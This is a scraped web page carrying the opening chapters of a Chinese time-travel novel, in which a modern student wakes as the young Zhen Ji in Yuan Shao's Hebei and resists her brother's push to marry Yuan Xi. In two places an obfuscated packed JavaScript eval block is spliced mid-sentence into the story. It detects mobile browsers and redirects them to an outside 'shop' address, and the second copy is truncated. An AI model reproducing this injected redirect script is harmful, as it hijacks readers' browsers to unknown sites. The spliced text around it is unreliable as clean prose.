《穿成阿甄那些年[三国]》 1. 建安 适逢早秋黄昏,云天广阔明净。余晖下,有位少郎弃缰纵马,呼啸跃过酒帘飘摇的长街。 此人生得高大昂藏,姿仪英挺如孤松,而双眸狭亮,腮骨锋锐,含笑时,漫出几分飒爽的江湖气。 但见他这会儿兴致正盛,引颈浇尽葫芦里的蟾宫醉,又当是阵无端风,不问南北西东,任身下腾驹往何处去。 城中巡卒莫敢阻拦,盖因少郎衣着柔蓝锦缎,腰间悬一龟钮金印,所系博带绣满了银缂兽面纹,种种俱显其身份不凡。 汉建安二年七月末,大将军袁绍图谋冀、青、幽、并四州,欲统黄河以北。次子袁熙偃戈偷闲,被十里桂香邀来中山品佳酿。 随行皆为至交侪侣,有广陵韩循字子顺,济阴魏讽字子京,朔方焦触字幼渊,颍川谢敛字容允,以及乌桓司马的胞弟阎术罗。 毋极城内,又有同窗甄尧作东道,他热忱周详,招揽众客降榻自家邸宅,早早将游玩诸事安排停妥。 “几位郎君自胥夷山猎归,斩获颇丰,还请夫人尝鲜。” 用飧前,甄尧专程打发仆役给内宅送去野味加餐。 隔了面虚舟萍泊寒江的帏幌,二嫂邓端连眼皮也没抬,只盯着绷子飞针走线,就快绣完一尾穿莲白鲤。 片晌,她辍手应道:“劳小叔记挂。阿湛随君姑远赴安熹斗姆庙敬香,数日后才返。我一人茹素惯了,无缘消受。凡此膻腥,尽管匀给弥儿享用。” 徐徐凉风吹拂悬于檐楣的丛玉穗,击触而成泠然脆响,卢宽略感不适,诚惶诚恐地诺唯:“奴正要走五娘子的繁柯院一趟。” 他讪讪揖别,折身退了出来。 自夫君甄俨仙逝,邓端哀恸成疾,人是日益颓靡,清减得都快脱形了,尤其那对乌眼珠,仿佛两口没活气的枯井。 甄家以仁厚自诩,吃穿用度上未曾苛待孤孀。甄母张氏前些年却因无法承受亲儿亡故,迁怒子妇,言语间多有轻慢。 幸好家中最得宠的五妹识大体,会帮着缓颊几句: “嫂当茂龄,于今幽居守节,不意择人再醮,想是顾念家里丁口单薄,未忍离去,兀自勤谨侍奉姑氏。怜嗟二兄短折,四姊远嫁,阿母常伤感膝下寂寞,宜该待她亲如己出,莫辜负这份难能可贵的孝心。”① 语挚情切,哄得老夫人频频拭泪。 甄家小女早慧,总摆出副安之若素的神态,晶光的眸子又太过敏黠,似乎已将世事参透。 故而,邓端并不喜欢被五妹久看,那眼神,大约是惋惜、怅惘,还有种见始知终的悲凉。 同天底下的多数女子一样,她不曾治学明理,只讲《女诫》《女训》,何谈抱负远志?是在家从父,出嫁从夫,打小就逆来顺受的。 她的庸碌人生好比田埂之狭窄,开眼便望到了头。 现如今,身边仅剩个刚满七岁的独子景湛,奋勉恭顺,才入了乡里学堂。作为母亲的邓端,却已万念俱灰,再无心劲栽培——那些饮默滚淌的血泪,与其归咎于守寡,倒不如说,更像是在替自己徒劳无趣的半生哭丧。 卢宽显然不懂,只觉此间气氛阴晦,多有忌讳,遂从速离了蟠齐院,趋向甄五娘子的住处。 沿着小镜湖的鹅卵石径右行千余步,方见北面有堵毗邻濮竹阵的高墙,其内的悬山顶建筑群,名曰“繁柯”。 这院子修葺得极雅致,庭除杂植烂漫花草如许,纷红骇绿,洒扫时需十分谨慎。 凉亭里,两个率真活泼的小婢躲懒儿翻花绳玩,一个叫绫戈,一个叫红枭。 卢宽提溜着食盒路过,招呼了声好,她们也都欢笑支应。 行至回廊间,远远观瞧一穿戴缥碧绮罗的尖脸女子正临窗修剪花枝,另一体态丰盈些的,靠坐在门槛剥莲蓬。 两人时不时搭话,当下闲聊起老夫人身边伺候的周媪及其家事。 “谁?” “鸣庄的苗阿头,大名唤作周黍,喜宴上你该见过啊。” 门旁的细宝愈发眉飞色舞。 “前年脱籍放良,聘娶同乡,年初就给周家添了男孙。周妈既遂愿,是以答允长子应募义军的宿志。没成想那新妇知晓后,死活不依,吵嚷什么‘沙场上刀剑无眼,保不齐今朝一别,隔日娃娃就要跪牌位哭先考了’!苗阿头嫌晦气,不瞅不睬,倒叫周妈受足了折腾,难得告借病假。所幸孟伯两口子已从南阳探亲回来,老夫人跟前总算不缺贴心人儿……” 洋洋洒洒听个大概,缦双放下铜剪,舀了瓢淘米水浇花,逞容道:“成亲不及两载,自当浓情蜜意,任谁也经不起长久分别,周黍之妻虽偏私,却未可厚非。” “横竖我眼皮薄,看不惯寻死觅活的做派!”细宝立马啐了句嘴,“咱娘子曾言,大丈夫生居天地间,当立凌云之志,岂因小小私欲,就不竭力报国忠君的?周家媳妇竟如此糊涂,不明事理!” 缦双被这挂大义凛然的模样给逗乐了,乜斜着眼:“失礼,我乃小婢妮,而非大丈夫。” 目光之余,瞥见了将造访的卢宽,不免继续哂谑,“好阿宝,你的鸿鹄之志甚卓跞,当讲给别个志趣相投的人听。我这瞎家雀儿啊,该伺候女郎起身了。” 说完,她便抱起朱漆盆,径自掀帘进了屋。 细宝斗嘴不赢,抬眼又遇着笑憨憨的来者,心内忽蹿起一股无名孽火,于是摔手把剥干净的莲房扔去,没好气儿地嗤了声:“谁呀,怎么还凭空变出个日理万机的大忙人?” 那厮不顾迁怒,反而涎皮赖脸地哄她:“阿宝姐姐安好。” “好——这莲子好,天时好,你们无昼无夜陪着贵客博戏、投壶更是好,偏只我一个不好了!” “此言差矣,咱家郎君可够惦记繁柯院的。不然,怎会三天两头就喊我跑腿送牙祭?” 甄娘子娇性,味蕾挑剔,极其讲究饮食,但非无厌足的饕餮,这满当两架提盒沉甸甸的,盛了不少珍馐美馔,一张嘴吃多了定发腻,她向来疼热下仆,没准过半都会分赏掉。 想到这,贪馋的细宝眉梢一挑,已然回嗔作喜:“怪道今日得见尊驾,是因这般缘故啊,也对,我等出身低微,平素哪能轻易够上你卢郎的大面?” “诶,莫再臊皮我了,近来宴饯宾客,各个忙得踵不站地,都已自顾不暇了,难免疏忽姐姐!要打躬、磕响头、三叩九拜,怎么赔罪都成,只求别生分小弟!” “油嘴滑舌,谁稀罕搭理。”她装幺作态,转而勒令道,“快将东西交予我,辄送内厨请彭姑烹调,手脚麻利些,或能赶上晚膳。” 卢宽并不着急离开,腆颜献起殷勤:“我帮你。” 细宝自是求之不得,抻齐衣摆,启行引路。 “都是山林间的飞禽走兽,市集难见的货色。尤其这屉鹿里脊,肉质格外鲜嫩甘滑,是从袁少将军亲手擒获的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052405|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那头大角鹿身上割来的。”卢宽强调,“待品尝之际,千万记得讲给五娘子听。” 等絮叨完,细宝才回头看他一看,扑哧笑出声:“非要提?” 卢宽微红了脸,稍许难为情:“三郎君千叮咛万嘱咐,我们小的遵命罢了。” “那你的好郎君还叮嘱其它什么没有?” “有,有的,瞧我这烂糟记性,险些忘断了,”他忙补充,“郎君预备过几日在虎婆园摆宴蹴鞠,若五娘子也有观赏的兴会,敬请同往。” 原来甄尧此番劳神费力地撮合自己亲妹与袁家公子,并非心血来潮。 世人皆知,毋极甄家有位待字闺中的小女郎,正当豆蔻,生得一副仙姿佚貌,冶丽不可方物。 袁熙爱美人,寤寐求之,甄尧更有意攀附累世簪缨的汝南袁氏——两位大概是王八看绿豆,一拍即合了。 细宝拧着手帕思索,难得沉稳地点了下头:“好,此事非同小可,我定寻个贴切的时机传告。” 恰限饭点,厨下异常忙碌,未多托付庖官几句,他们便被赶了出去。 “哪样该热,几层几分,还由得你这群獠奴多舌?一寸火候,一点油盐,灶台自来只老娘打理!快走快走!” 这恶言厉色的彭姑可不一般,除却日常的炖、煮、烤、炸,她还谙熟一门稀奇的烹饪技——旺火的灶头放着半边形似铁皮镬斧的炊具,擓两勺雪白的冻豕膏,待其渐渐化成油状,滋冒热气了,再倒入切碎的肉和菜蔬,用木铲反复拨弄至变色,不要忘记递次添上少掐盐、清酱、豆豉等佐料,最后掂动翻匀收汁——此举叫“炒”,鲜为人知且轻易不做,说是五娘子节令钟爱的吃法。 “好厉害的脾气呀,”卢宽不住玩笑,“当真惹不起你们繁柯院的,个个都是祖宗姑姥,狂得没边!” 细宝虚推着他往外走,排揎道:“何故装呆,又同我跟前假痴不颠了,非说这院里独一位不敢招惹、不能招惹的贵主,眼下怕是还未醒呢。” “这可快酉时了,五娘子实在贪睡。” “昨宿熬大夜,今日起得自然就晚,连着午觉也拖延。怪我,赶集的时候顺手拣了几捆杂书,想着闲暇能供娘子解闷,竟忘记她是个没耐性的,但凡对住胃口,必要一口气全看完不可。” 美貌的名声虽远扬,却是虚无缥缈又徒增烦恼的。只甄家人知晓,他们五娘抛开好皮囊后的内涵,有多别具一格。 不至于金玉其外、败絮其中,可这位,琴棋书画靡不涉猎,偏都只是聊以自娱、般般浅薄的,又不擅长针黹裁剪之类女工,更无心主馈闺庭一应大小事务。 最大的爱好是看书,什么三教九流、谶书纬经,乃至些旁门左道,她来者不拒,统统过目,一日能囫囵吞枣地披阅几卷,有时虽不求甚解,但胸有丘壑,经常抒发些新奇独到的见解,令诸君咄咄惊叹。 单自己喜欢也罢,还总变着法儿地感劝身边傅婢识文断字,拿金银钱财哄她们上进,并理直气壮地解释说:方以类聚,物以群分,是故我的人,必定要通透谙达、耳聪目明,而读书,能最快地陶情益智…… 更难得的是,虽深居闺中,这甄氏女却不甘居于内院府舍的一角长天,总妄想着出走冀州,游衍四方,见识见识大世面。 道她,并非清冷的画中仙、台上雪,应当作那漫山遍野的海石榴,纵然严冬也要吐艳得灿烂十足,举世无双! 2. 穿越 季蘅做了个怪梦。 梦见自己化作青色云海间振翅的丹凤,喙衔麦穗,穿过层层叠叠的浅粉雾霭,一路朝东。 云巅之上布设了几派日光,如璀璨金河,奔流不息地往尘寰倾泻。她顺势望去,所见怒涛澎拜,浊浪排空,正是磅礴的黄河壶口瀑布。 那势不可挡的洪流,日夜咆哮,淬溃出滔天白焰,奔涌千里,直至入海。 “魂兮归来!去君之恒干,何为四方些?舍君之乐处,而离彼不祥些!”① 几段靡靡翰音飘曳入耳,有箫,有笙,有鼓,有筝……琵琶声尤为明显。 待乐章激昂之至,四周忽作狂风,不时天地回旋,是为昼夜不分,阴阳相冲。 可怜那丹凤浑失了方向,单薄得像页纸片,摇摇欲坠,最后消失在无穷无尽的混沌中。 “嘣!” 乍的一声弦断,四周皆净,梦似云消雾散,人也恍惚醒了。 季蘅艰难睁开眼,模糊的视野之中,是面绣着日月合璧五星聚的软缎帐顶。而瞬间涌上心头的惆怅,空虚且不真实,是梦也不是,叫她直想落泪。 “娘子醒了?”听到声轻微叹息,缦双搁置手边的活计,忙掀起绮帐探看。 只见卧榻上的美人仍有些发懵,口齿不清地呓语什么回家,约莫又惊魇了。 “好,”她挨倚榻沿坐下,拂掠对方濡湿的鬓发,耐心安抚,“您就永远待在繁柯院,有奴婢们相陪,哪也不必去。” 却是丫鬟好意错会,季蘅听了这番陈情,险些急出几阵咳嗽: 别别别!要我幽禁一辈子,没电没网还没前途,倒不如利索死了痛快! 她费劲儿眨了眨惺忪眼眸,逐渐变清醒之余,又唏嘘叹气。 高高的藻井里层,藏有横亘交错如犬牙的椽桷梁脊,假使此刻俯冲而下,定堪比飞箭利刃,将自己干脆刺死吧。 这种死法大概率很疼? 可自私点想,或许直至身殁,她才能彻底离开这原本不属于自己的鬼地方。 四年前的暑假,季蘅和几个同学好友约在游艇上通宵开派对庆生。凌晨三点多,醉眼迷离的她,独自倚着桅杆吹风,一失足,不慎掉进了海里。 等再醒来,已是天翻地覆,她居然变成个不及十岁的古代幼童,乳名唤作“弥”,而当前这副躯壳也因落水遭际大难。 起初神志昏沉,安慰自己仍徘徊在离谱的噩梦中,睡醒就好,直到被银针扎酸了太阳穴,又陆续灌进许多苦汤,如此折腾数日后,才不得不接受“穿越”这个奇迹的发生。 青春期萌芽阶段,也曾畅想过各种类型的穿越,但那时,向往的多是什么穿进中土世界,化身伊露维塔的首生儿女,获取永生和高贵的美貌;或通过冬眠,前往千万年后的未来,享受高等级文明的科技成果,与人工智能、外星生物勾心斗角…… 谁承想天不怜见,竟把她迷里咕咚地丢进了落后愚昧的封建王朝! 造孽,当真是造孽! 季蘅骂骂咧咧暗自叫屈,得过且过了一阵,到底没盼来奇迹的第二次惠临,穿越既成事实,只能强迫自己冷静直面一切,边养病,边细致入微地窥察,耗费大半月,才终于搞清楚这位年幼宿主的确切身份和所处朝代: 所谓命运多舛,不外乎穿越到一个家喻户晓的割据乱世,穿越成一位结局悲惨的大美女。 她凝望着铜镜里的脸,影影绰绰,似幻似真,这小丫头怎的就变成了三国时期被魏文帝曹丕掳夺又废弃的甄氏?! 天杀的,莫非传说中经典的魂穿?如果每个人都拥有灵魂,那原主自己的呢?难不成换到现代去了?我这究竟算轮回转世,还是平行宇宙…… 季蘅纳闷许久,也没琢磨出个所以然,曾经熟背物质和意识辩证关系原理的她,沦落到只得狠剜了眼壁龛供奉的东岳大帝彩塑,用肺腑怒斥: 好极了,都赖你们这些鬼神太无耻,编排出许多荒唐事,才使我沦落至此! 刚来那段时间,赶上甄家二郎的葬期,她对这个便宜兄长毫无感情,但好在能借机宣泄自己接近崩溃的情绪,大肆痛苦了一番。 宁为太平犬,莫作离乱人。那几日流的泪,绝对出自肺腑。 没过多久,她甚至恢复了属于这具身体的原本记忆,并惊疑发现,在更久以前,是中平二年十月,生父甄逸病入膏肓的那个孟冬,南门客星灿亮斑斓②,尚未开蒙的小甄做了一个光怪陆离的奇梦。 当初梦境,天马行空,目见的正是自己穿越前所处的现代世界: 高耸入云的摩天厦,流光溢彩的霓虹灯,川流不息的人与车…… 古今两拨记忆不断厮打、纠缠、交融着,恰如水波激荡穷岩,使她淹溺其中,恍惚、痛苦、百感交集,争些分不清虚实。 一切暂难定论。 季蘅虽屡次嘀咕什么生不如死、一了百了,但实际上,那都是些不敢付诸行动的窝囊话,每次口嗨完,反而害怕会一语成谶。 人类嘛,终归是适应能力极强的生物,何况在这条件相对优渥的环境里备受宠爱,她顺应得不算太艰难,长此以往,难免就潜移默化,变得麻木宽心,认命少思了。 过去的某个炎溽星夜,甄家小女躲在庭落的蔷薇花架下荡秋千,喝葡萄露酒,蹉跎光阴。 还收到彼时外出游艺的三哥甄尧寄回的家书,讲他近况,已晃荡至荆州江夏会友,泛舟揽月于长江之上。 荆州、长江、赤壁…… 季蘅舒了口沉压已久的闷气,不知是否借助酒精的催化,莫名涌起一阵悸动,砰砰乱跳的心脏也在期待,十多年后,那里将上演一场载入史册的战役。 而被迫卷进历史的女孩,似乎正孤身立于船艄,往后望,看那滚滚浪涛推着万事万物一往无前。 没有真正的掌舵者,上至王侯将相,下至庶民奴隶,所有人在浩瀚的时间洪流面前,皆不过蕞尔微尘,转瞬即逝。千万个她,也只能汇成江河湖海中的一涓细流。 诚如《赤壁赋》所言:“寄蜉蝣于天地,渺沧海之一粟。哀吾生之须臾,羡长江之无穷。” 不幸也万幸,她端的是看开了。 目前这具身体,不过十三四岁,而距离甄氏被第二任丈夫赐死的凄惨结局,还要再等二十多年,赶早发愁也无益。 至于如何换回去,非你我凡胎人力可改,既有“来”,必有“往”,唯那时机,可遇不可求。 罢了罢了,快活过完眼下的二十年才是正解。 “娘子。” 细宝先后捧来茶水和洗盆,见自家女郎仍木呆呆的,又唤了她一遍。 “您这午觉睡得过久,恐怕今夜又不得早眠。如此反复,真就再难改好了。” 窗外昏黑,季蘅疲懒坐起身,歪倚榻上,她略感口苦,连呷了几回温茶,才问:“什么时辰了?” “刚过戌时一刻。”缦双近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一唱一和的,聪明如季蘅,岂会听不懂弦外之音? 只是,她打心底不愿招惹那袁熙,眼下虽还是个春风得意的显贵公子,可再过几年,就该沦为阶下囚,一命呜呼了。 怪只怪他老爹,一是好谋无决,官渡兵败于曹操;二是立嗣不当,令诸子内讧,互相残杀! 当然,这些都是后话,权且按下不表,此时的袁绍还主政一方,风头盛极,无人敢贸然得罪。 于是搪塞了事:“我考虑考虑。” 如果可以,她想试着改变甄女士原定的凄凉结局。 道教好像有句名言,叫:天要灭我我灭天,我命在我不在天。 她没兴趣更没本事去毁天灭地,仅仅是想在这乱世苟全性命,切不要落得传说中“被发覆面、以糠塞口”③的悲惨下场。 若运气再好些,能走得更远,游历千百年前的大好河山,定要趁便见一见史书上熠熠生辉的名字,也算不虚此行了。 这一年,公元197年,列位英雄豪杰的传奇故事逐渐拉开了大幕,诸方势力你唱罢来我登场: 刘关张三兄弟此刻正被吕布追着艰难创业,赵云还在替公孙瓒征讨四方; 孙策前不久与僭越称帝的袁术决裂,曹操宛城一役痛失子侄爱将; 苟成终极赢家的司马懿甚至还没有入仕,而她最喜欢的诸葛亮,躲避战乱,才刚搬到隆中隐居,今年不过十六岁…… 口中的野蔬未经霜降,季蘅越嚼越觉苦涩,取帕子掩着吐掉了。 果真是受不得一丁点儿苦的人。 3. 落花 是夜,韩循倒干净最后一滴甘醪,已然大醉。 他抱着挹酒的木端子,朦胧盯见对面打晃儿站起个黑凛凛的壮汉,一步一踱,接连敞开两扇窗。 “真漂——亮!”阎术罗粗犷地喷了点唾沫星子,左手把盏,右手高抬,直指那丸金黄的月,并仰面阔笑,“这玩意多少钱打的?给咱也整上一车两车三十车!” 韩循愈发睁不开眼,只跟着痴闹:“妙!妙!妙!” 两人终于笑累了,一个瘫在柱边,一个栽在窗下,隔不多时,皆沉沉睡去,呼噜声响得此起彼伏。 席间唯有主人甄尧滴酒未沾,他澹然咬完半盘蜜枣,像品鉴了场精彩滑稽的俳优戏,最后仍有些意犹未尽。 “既入醉乡,还不快将两位贵客搀回寝斋歇息。” “诺。” 耳畔尚未清净片刻,廊外又传来橐橐脚步声,不用猜,定是袁熙乘兴而归。 门被用力拉开,那人只顾低头脱靴,左手还揽着几枝秋海棠。见状,甄尧不免逗趣:“二公子今晚好雅兴,又去哪儿侍弄花草了?” 袁熙咧嘴笑了,露出对尖虎牙:“敞厅有支空置的白玉瓶,想着配海棠正佳。” 这绛美人原在城郊的灌丛中开得灿烂,被打马经过的他俯身折了去。 也不见得多喜欢花花草草,只是那捎带露水的好颜色,叫人不由想起前几日所见: 甄家小女躲在湖心亭纳凉,懒散扑着银丝素绢团扇、咬起鲜软多汁醉李的唇红齿白模样。 她的眼睛笑盈盈的,柔媚又温煦,像极了黄昏下的潋滟湖水。 “你后晌不是随子京他们去襄玉坊听曲了吗?”甄尧这才注意到袁熙略显灰扑扑的双颊,连衣裤也沾染不少泥尘枯草。 “怪吵的,我耳朵疼,看得眼睛也疼,就一人去别处跑马了。傍晚倒同他们吃的炙羊腿,之后各有各的打算,我便先回了。” “哦,跑马。” 听这调谑语气,袁熙果然涨红了脸,慌忙多解释一嘴:“我的意思是走马驰骋,就绕着城郭四处踏看——你少歪想。” 甄尧低头笑了笑,没再打趣这小子的纯真,转而道:“毋极,徒有其名,不过弹丸似的方寸地,少有别致景色,亏你还乐意盘桓。午后才与容允说起那些个昌隆都邑的好处,正赶巧了,这就收到从邺城快马送来的信。”他拣起果盘里的柑橘,信手一丢。 袁熙未施正眼,便稳稳接住,抛玩着往里间走去,朗声问:“什么信?” “袁三公子的亲笔,许是埋怨你这个做兄长的,中秋将至,却只顾私自在外贪玩,未曾寄回一音。” 话说那袁绍当前诞育四子二女: 长子袁谭字显思,先妻俞氏所生,年不过廿五,屡建战功,时任青州都督; 长女字明宣,谭之胞妹,有痼疾,已配嫁颍川子弟、官至议郎的赵彦; 次女字曲霈,生母贺姬早亡,幸得其父垂怜,亲自抚养在侧,出落得十分标致,两年前与太尉杨彪独子杨修议亲,如今夫妻俩举案齐眉,琴瑟和谐; 幺儿袁买还是个乳臭未干的小娃娃,暂且瞧不出多少正性,即便其母宿夫人近些年在袁府宠盛,也没胆僭越; 而二郎袁熙、三郎袁尚,皆为续弦刘氏所出,两人自幼相伴长大,兄弟怡怡,亲密无间。 尤其那位三公子袁尚,容貌生得极俊朗,如玉如兰,深受父母宠爱,德行虽浅薄,富贵峥嵘却是不可限量的。 隔不多久,袁熙简单洗濯,换了身干净宽松的衣袍出来,手里便捻着那信。 “我可不敢平白受人惦记。”他敛膝危坐,有些酸溜溜地玩笑道,“逃不脱是堆牢骚话,阿尚近来在父帅帐下研习用兵,不得一个闲字,自比不了我随心所欲。” 说着,已凑到灯旁,览信略读。 侍仆适时添上热茶和点心,甄尧眯眼一扫,盯住样稀罕的:“这什么?” “回郎君的话,是山药糕。” “山药糕?”他将信将疑,捻起一块端详,“何故掺了如此怪颜色?” “是先前五娘子嫌俗成的糕点太古板,吩咐厨下碾了鲜艳的汁水点缀一二,大家看过也觉着好,便沿用了。您仔细瞧,这红的是染了苋汁,蓝的是山绣球,紫的是银丹草幼芽……” 提及甄家小女儿,袁熙不觉微抬眼檐,痴愣住半刻。 “属她鬼主意顶天,还尽是些不着调的。”甄尧冷嗤几声,故意望向身旁的人。 显然,那是个惑乱了心窍的呆子,半歇才回过神,手腕不住一抖,晃晕了烛焰。 “嗳!倒怕你要烧坏这信!” 袁熙忙讪笑,掩饰心中的慌乱,也硬生转开了话头:“我、三弟催我尽早回去。” 甄尧抿嘴一笑,并不直白点破,他尝了块糕,嚼得满口香腻,才缓缓问道:“不过稽留这几日,可是有火紧的要务?” “确有两件。”说到正事,袁熙骤然板起脸,把信递给甄尧,连语气都变得严肃,“曹司空已表奏天子,拜大哥为青州刺史。” 自春起,袁谭所带的军队一路猛进,势如破竹,不过半年便扫平整个青州了,他是兵强马壮,英勇无比,如今正据守海隅待命。 “是好事啊,平定青州大公子当仁不让,理应居首功。那另一件呢?” “这二嘛,也与大哥有关,父帅似乎想将他出嗣给安国亭侯,以承宗祧。不过,尚弟说此事慎秘,仍待商榷,还是阿母失口透露的。” 甄尧低头思忖了半歇,郑重道:“需得回去一趟。” “我明白。”袁熙却有些败兴,坦言,“只是我生来闲散,断无夺宗的私念,更不愿牵扯其中,招致兄弟阋墙。” “如此才对!”甄尧闻之甚动容,“当今局面,韩馥刚诛,又有公孙瓒、吕布、张燕等虎视眈眈,河北犹自未稳,何以南下定乾坤?公子也该多规劝几位兄弟,莫因一时悖晦,就放低眼界,在缓急轻重上犯浑,若自家无故内耗,反而给了外人瑕衅!” 袁熙颔首,神色略凝重:“兹事体大,我还是明早就动身。” 可说完,心里又难免失意,不住叹息。 甄尧知他心迹,拉着宽慰:“并不挣于这一时半刻的,明日等用过午膳,我替公子备好快马。至于其它看缘分的事,终究是来日方长。” 两人以水代酒,谈慰了几句,亥时夜深,见袁熙愈显倦怠,甄尧便寻了个由头,起身告辞。 走前,他往袖口塞了样锦盒,经过花园时,又使唤小仆折下一段桃树枝。 秋风过耳,脚底踩践枯叶发出吱嘎的声响,正要往那繁柯院去。 “来了,来了!” 叩了多时,才等到应答。 是侍 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“适才——”甄尧不恼,也不甚避嫌,轻率跧坐于榻前的毡席。 父兄早逝,四位姐姐也嫁得远,家中只剩这对序齿末尾的兄妹相依长大了,寻常时候男女无别。 “适才我花园闲步,途见小妹院子上方隐约冒着莹莹碧光,怨气煞气阴气甚重,不知是何路魑魅魍魉作怪,遂折了段桃木,助你压邪,好自为之。” 甄尧存心逗她,直接把那树枝搁在了她的枕边。 季蘅托着腮,窃自翻起白眼,更没心劲多理睬,只顺手换了卷竹简。 “你不必嫌它晦气,这桃儿还有别的说法,诗经里不是这样唱吗,桃之夭夭,其叶蓁蓁。”他戛然而止,故意不念完后半句。 委实无聊透顶,季蘅冷冷睨向甄尧,嗤了一声:“兄长有事,不妨直言。” “我找你能有什么大事。不过明日袁二公子启程回邺,咱甄家注重门第,该有的礼数不可亏缺,至少也要亲身送人出城,对否?” 她挑眉:“同我讲做甚,左右我又不拦你。” “休要使性闹气。” “兄长最要紧的贵客,谁敢混闹了?” “哎,装糊涂你是顶个行,寻常相送罢了,又非逼你奉承献媚于人!这叫懂礼,稍尽地主之谊。”甄尧难得对小妹威严一回,吓唬道,“不想如今是谁取了冀州,更别提整个河北都快跟袁本初姓袁了,我等皆要仰其鼻息——好妹妹,倒是你厉害,三番五次敢对他亲儿甩脸子!” 他深叹了声气,从宽袖摸出锦盒打开。 是支嵌珠镶玉的紫磨金宝簪。 “好在少将军一向宽宏,从不计较虚文,还总念着你、送些贵重之物。便是铁石生的心肠,也该懂得好赖了。” 闻此,季蘅愈觉委屈,跪坐起身,竟将簪子用力一掷:“这算哪门子的礼?分明是阿兄不讲礼!又是宜室宜家的桃,又是及笄许嫁的簪,你们才莫将我当蠢材哄骗!” 她打小就恁无理倔强,别人说东边好,偏要往西走到黑。 甄尧登时沉下脸,拾起那簪,多少也有火气,却见小妹倔着副神情,眼下竟直愣愣滚落几滴晶莹似玉的泪珠,美得惹人怜惜,不免又心软了些。 “你我好好聊一聊,勿再赌气。” 4. 流水 “袁熙品行端方,家世显赫,河北多少高门望族仰攀,可他偏是个钻牛犄角的死脑筋,自打遇见了你,便认定缘分,再无其余盘算。” 甄尧在榻边蹀踱,说着说着,语气又不住变得急躁。 “纵是掘地百尺也寻不到比这更称心合意的良配,小妹何故推辞?为兄实不明啊!” 耳畔絮聒,尽是不中听的酸话,季蘅斜靠玉枕,攥紧一方旧帕,盯着所绣的几截梅枝,有些怏怏无奈:“即便他真心喜欢我,我却未必喜欢他,若非两情相悦……” “且打住,少再用这类老掉牙的套话唬我!” 她不免长叹一声,转而婉言:“梅花疏淡,世人皆赞其傲霜斗雪,可我偏不喜这味香气,便不想把它种进自家庭院。并非嫌恶,倘或冬日里途经一片梅林,瞧着花蕊动人,风姿傲岸,同样会坦荡夸羡;伴友踏雪寻梅的雅事亦做过……若仍要追问因由,我实在说不清,只当是今生无缘,天底下还有如许繁花,总不能个个都喜欢吧?譬如兄长,一样有无端的偏爱与破例,对么?” 甄尧以袖拂之,轻蔑道:“不一样,我可不敢与你相提并论!小妹伶俐,惯有了不起的歪理,假若换成我,凡尊长谕令,便要做儿女的亲手种满什么狗尾草,也是甘愿——倒不是讲阿婉她,她像狗尾巴。” 季蘅差点被气笑了,确实同这些脑子迂腐的古人说不通。算他命好,与妻子薛婉是知根知底的青梅竹马,二人在今年暮春缔结了良缘,两情缱绻,十分圆满。 “既如是,我也不枉谈什么真情实意,让兄长借口难捉摸。”她将巾帕一摔,假作傲慢,“只怪你妹妹心气高,自诩不凡,此生最怕明珠暗投,除却当世英雄,再瞧不起旁的樗栎庸材。那袁熙虽好,到底算不上真英雄。” 甄尧果然让这番骄横的论调怔住了,少焉,端容发问:“你以为当今天下谁能胜任英雄二字?” 差点就要脱口而出“惟使君与操耳”①,季蘅抿嘴,忍住莫名笑意,她绕了绕长垂鬓发,不敢妄论,忖度着: 建安初年,记忆中熟知的许多谋臣猛将犹未展露头角,且不能先作预言;曹魏那边的更不兴说,省得过几年再被翻旧账…… 左右思量,才趁趁摸摸吐出三个字:“孙伯符?” 好在甄尧多少也认同,不由得默然噤声。 见状,季蘅便趁热打铁:“遥闻江东孙策承父遗志,开创功业,有气吞山河之势,如此这般,才堪当我日夜思慕的英雄。” 她佯羞,低鬟浅笑。 甄尧亦忖度良久,终开口:“我再有一问,你观司空曹孟德可为英雄?” 这位更是经典,煮酒论英雄的主人翁之一,骂不得,夸也不太想夸,季蘅有些为难,最后没法子,踌躇回了句实话:“奉天子以令不臣,应算吧。” 甄尧郑重点了点头,似乎意料之中,却又不住虑叹:“方才小妹所提孙曹等辈,一时出挑不假,然而他们大多深具虎狼之心,沽名射利,贪功起衅,决计不甘久居人下的。值此乱世,无可非议,却极易招惹祸端,更不能大肆推崇了。” 此番言论甚是好笑,兵荒马乱的年代,难不成袁熙他爹就能安分守己,隐世无争?或是解衣卸甲,纯靠嘴皮子白捡地盘? 季蘅暗道不妙,我这身处冀州地界的混俗哥哥莫非想做个忠义两全的汉……哦不,袁氏臣了?往后怕是仕途渺茫了! 又听他继续感喟:“枭心,是为不专,不诚。淑女爱慕英雄,往往从一而终,英雄自也馋嗜美色,总免不了见异思迁,以新欢代旧人。你年纪尚轻,稚儿心性,崇仰英武气概并不稀奇。可男女嫁娶,终究贵在钟情,一心一意至白首不离。我与袁熙共事多载,知他秉性,有时优柔寡断,难成大业,但底蕴淳良,当是托付终生的好郎君。小妹若肯交付于他,此生无虞矣!” 季蘅捎带情绪,已听不进这许多,只盯着其中一句,冷漠回嘴:“女子何苦从一而终?大家各取所需,好合好散罢。我可闻说,曹司空的正室丁夫人前不久因长子命丧宛城,要与他和离呢。” “不消与我抠字眼,”听到此番话,甄尧更刺恼了,“这般说来,你倒宁愿跟所谓的英雄纠缠瓜葛,也不肯同那寻常君子平平淡淡,偕老终生?” “如今天下分崩,兵连祸劫,嫁给雄霸一方的诸侯之子,谈何安稳太平?”季蘅正色,理直气壮地驳斥,“再者,你夸他袁熙有千般万般的好,纵使不假,我也未必因此厚爱他。我说我思慕英雄,更知一心人难得,莫敢强求。来日若真命途多舛,遇上个薄情寡恩的,那就大路朝天,各走一边好了。可不必强求皓首百年,互相膈应一辈子。” “巧舌如簧,好话歹话都让你说尽了!” “明明是兄长更理亏!” “你——” 